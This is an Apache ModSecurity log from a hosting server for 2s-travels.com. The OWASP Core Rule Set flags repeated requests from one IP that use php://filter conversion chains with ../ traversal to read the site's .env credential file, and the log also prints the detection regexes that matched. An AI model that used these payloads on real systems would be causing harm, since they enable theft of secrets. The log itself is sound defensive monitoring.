[Fri Jul 17 08:55:10.816822 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&path=php%3A%2F%2Ffilter%2Fconvert.iconv.UCS-2LE.UCS-2BE%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F..%2F.env&ts=YRJloSbnS_2Wk3tj-eeh_2mxOFf2jzFpajA2vmdW-rvbpdkXdEzOEJnEM6I8036LwNHK9v7hFogSAiKRzmJuqjY4cm5dbkW_XEfd7g24wFSAuHpuIHSS0nb7-R6o0d_3IhZSfpGJ7yxTbkRkGMGEtH0JqXZp7WcKTGlWzUc7rXpwTg0k7g5-JKu1FMaaIYakJ9_eEop8eAZhIrslrfQ_OIEBivyLE8xioAuiNXaiorRtpsp22sPk29eW4Pq6HXtIIHPVm9aSOF2aF408OEyap4FR&anything=7RHPBTVU4KMRNUN6HYUXY3EUVSPVRCU5WTIQL4GGTZ..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almglhAi3pC6yjXGNq2AWAAAAAU"]
[Fri Jul 17 08:55:10.816884 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:path. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:path: php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglhAi3pC6yjXGNq2AWAAAAAU"]
[Fri Jul 17 08:55:10.816934 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&path=php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../../.env&ts=YRJloSbnS_2Wk3tj-eeh_2mxOFf2jzFpajA2vmdW-rvbpdkXdEzOEJnEM6I8036LwNHK9v7hFogSAiKRzmJuqjY4cm5dbkW_XEfd7g24wFSAuHpuIHSS0nb7-R6o0d_3IhZSfpGJ7yxTbkRkGMGEtH0JqXZp7WcKTGlWzUc7rXpwTg0k7g5-JKu1FMaaIYakJ9_eEop8eAZhIrslrfQ_OIEBivyLE8xioAuiNXaiorRtpsp22sPk29eW4Pq6HXtIIHPVm9aSOF2aF408OEyap4FR&anything=7RHPBTVU4KMRNUN6HYUXY3EUVSPVRCU5WTIQL4GGTZURKMHTIHPMVESWEG5DOFUBZLCIWX..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglhAi3pC6yjXGNq2AWAAAAAU"]
[Fri Jul 17 08:55:10.816980 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&path=php://filter/convert.iconv.ucs-2le.ucs-2be/convert.base64-encode/resource=../../../.env&ts=yrjlosbns_2wk3tj-eeh_2mxoff2jzfpaja2vmdw-rvbpdkxdezoejnem6i8036lwnhk9v7hfogsaikrzmjuqjy4cm5dbkw_xefd7g24wfsauhpuihss0nb7-r6o0d_3ihzsfpgj7yxtbkrkgmgeth0jqxzp7wcktglwzuc7rxpwtg0k7g5-jku1fmaaiyakj9_eeop8eazhirslrfq_oiebivyle8xioauinxaiorrtpsp22spk29ew4pq6hxtiihpvm9asof2af408oeyap4fr&anything=7rhpbtvu4kmrnun6hyuxy3euvspvrcu5wtiql4ggtzurkmhtihpmvesweg5dofubzlciwx..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglhAi3pC6yjXGNq2AWAAAAAU"]
[Fri Jul 17 08:55:10.817003 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:path. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:path: php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglhAi3pC6yjXGNq2AWAAAAAU"]
[Fri Jul 17 08:55:10.817024 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:path. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:path: php://filter/convert.iconv.ucs-2le.ucs-2be/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglhAi3pC6yjXGNq2AWAAAAAU"]
[Fri Jul 17 08:55:10.817375 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:path. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:path: php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglhAi3pC6yjXGNq2AWAAAAAU"]
[Fri Jul 17 08:55:10.818485 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglhAi3pC6yjXGNq2AWAAAAAU"]
[Fri Jul 17 08:55:10.818653 2026] [hostinglimits:warn] [pid 1993668:tid 1993668] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993668) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:10.818987 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almglhAi3pC6yjXGNq2AWAAAAAU"]
[Fri Jul 17 08:55:10.821893 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&path=php%3A%2F%2Ffilter%2Fconvert.iconv.utf-8.utf-16le%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F..%2F.env&extra=HJXwIstr2UaG2Zi0BYcDm_Tga1CMFqcmBhzkNnPzxtbciLRPOm9RrlX-R1x8SyjPx9uKmv5q9WKua7bmRrYm15g2BqyAGaptvZX8fWyXPpAhStod8xmfe_UhGO-BinhTHoYqeoZUvonWKkOo84VD3Redwxd5gRiAnrdPbWCnC1cH0_gRW7EsteseKyShxdSF9ZF5YPrm92vQEb9hie65bkU9UmhgnILk0HbLDGlbqZ9oOODlItiRiQRP9fJ56xcD3EcQx9E_NCjfx0JY8Nb7Jogq&token=IF5NEO35DN7UQFIAPBZSBEFF3KQORXU2HJ3FRZAEYRM..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almglol9vhFBGA6D8l95uQAAAAw"]
[Fri Jul 17 08:55:10.821952 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:path. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:path: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglol9vhFBGA6D8l95uQAAAAw"]
[Fri Jul 17 08:55:10.822018 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&path=php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../../.env&extra=HJXwIstr2UaG2Zi0BYcDm_Tga1CMFqcmBhzkNnPzxtbciLRPOm9RrlX-R1x8SyjPx9uKmv5q9WKua7bmRrYm15g2BqyAGaptvZX8fWyXPpAhStod8xmfe_UhGO-BinhTHoYqeoZUvonWKkOo84VD3Redwxd5gRiAnrdPbWCnC1cH0_gRW7EsteseKyShxdSF9ZF5YPrm92vQEb9hie65bkU9UmhgnILk0HbLDGlbqZ9oOODlItiRiQRP9fJ56xcD3EcQx9E_NCjfx0JY8Nb7Jogq&token=IF5NEO35DN7UQFIAPBZSBEFF3KQORXU2HJ3FRZAEYRMSDGUFXAOVCJNULTQWG752NQOERTZ..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglol9vhFBGA6D8l95uQAAAAw"]
[Fri Jul 17 08:55:10.822072 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&path=php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../../.env&extra=hjxwistr2uag2zi0bycdm_tga1cmfqcmbhzknnpzxtbcilrpom9rrlx-r1x8syjpx9ukmv5q9wkua7bmrrym15g2bqyagaptvzx8fwyxppahstod8xmfe_uhgo-binhthoyqeozuvonwkkoo84vd3redwxd5grianrdpbwcnc1ch0_grw7estesekyshxdsf9zf5yprm92vqeb9hie65bku9umhgnilk0hbldglbqz9ooodlitiriqrp9fj56xcd3ecqx9e_ncjfx0jy8nb7jogq&token=if5neo35dn7uqfiapbzsbeff3kqorxu2hj3frzaeyrmsdgufxaovcjnultqwg752nqoertz..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglol9vhFBGA6D8l95uQAAAAw"]
[Fri Jul 17 08:55:10.822096 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:path. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:path: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglol9vhFBGA6D8l95uQAAAAw"]
[Fri Jul 17 08:55:10.822115 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:path. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:path: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglol9vhFBGA6D8l95uQAAAAw"]
[Fri Jul 17 08:55:10.822484 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:path. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:path: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglol9vhFBGA6D8l95uQAAAAw"]
[Fri Jul 17 08:55:10.823635 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglol9vhFBGA6D8l95uQAAAAw"]
[Fri Jul 17 08:55:10.823808 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:10.824160 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almglol9vhFBGA6D8l95uQAAAAw"]
[Fri Jul 17 08:55:10.828699 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&path=php%3A%2F%2Ffilter%2Fconvert.iconv.utf-8.utf-16le%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F.env&anything=h7KL3ljjulWOWFiShDMwEEZD5V7oCPoqDOOnQJcwAL02OuKYn7BX3VVf_cv2K6gqiOTIFS4dTMS8i-w1LSi44O2GSVE3kdqjETI62STVSG8jt9cQ009OY7eZTE5aZIAbyyQ92Gn3xWEbajeV1IaCf5SPCb0jQzTieA5dzIn4EZ9jwbU6zxw1gO907eQXk5mqR4XaXR9DVcaeWjJn7iMDkSRQ0PAPICnOTZMIbwH_MCdDmgzOsW_w8ge63NedbPfOj7zc2nKA0Yiv_TxMEIHoHbai&debug=77B2PJ57FFZ7EJ762RPAHW5GD63OLX35K3IVIJF3P77AM..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almglivekYYQ8uns4MwlOgAAAA0"]
[Fri Jul 17 08:55:10.828869 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:path. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:path: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglivekYYQ8uns4MwlOgAAAA0"]
[Fri Jul 17 08:55:10.829101 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&path=php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../.env&anything=h7KL3ljjulWOWFiShDMwEEZD5V7oCPoqDOOnQJcwAL02OuKYn7BX3VVf_cv2K6gqiOTIFS4dTMS8i-w1LSi44O2GSVE3kdqjETI62STVSG8jt9cQ009OY7eZTE5aZIAbyyQ92Gn3xWEbajeV1IaCf5SPCb0jQzTieA5dzIn4EZ9jwbU6zxw1gO907eQXk5mqR4XaXR9DVcaeWjJn7iMDkSRQ0PAPICnOTZMIbwH_MCdDmgzOsW_w8ge63NedbPfOj7zc2nKA0Yiv_TxMEIHoHbai&debug=77B2PJ57FFZ7EJ762RPAHW5GD63OLX35K3IVIJF3P77AM3MKWGOEYFOAOII4I4BZMUPUX3S..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglivekYYQ8uns4MwlOgAAAA0"]
[Fri Jul 17 08:55:10.829230 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&path=php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../.env&anything=h7kl3ljjulwowfishdmweezd5v7ocpoqdoonqjcwal02oukyn7bx3vvf_cv2k6gqiotifs4dtms8i-w1lsi44o2gsve3kdqjeti62stvsg8jt9cq009oy7ezte5aziabyyq92gn3xwebajev1iacf5spcb0jqztiea5dzin4ez9jwbu6zxw1go907eqxk5mqr4xaxr9dvcaewjjn7imdksrq0papicnotzmibwh_mcddmgzosw_w8ge63nedbpfoj7zc2nka0yiv_txmeihohbai&debug=77b2pj57ffz7ej762rpahw5gd63olx35k3ivijf3p77am3mkwgoeyfoaoii4i4bzmupux3s..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglivekYYQ8uns4MwlOgAAAA0"]
[Fri Jul 17 08:55:10.829392 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:path. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:path: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglivekYYQ8uns4MwlOgAAAA0"]
[Fri Jul 17 08:55:10.829512 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:path. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:path: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglivekYYQ8uns4MwlOgAAAA0"]
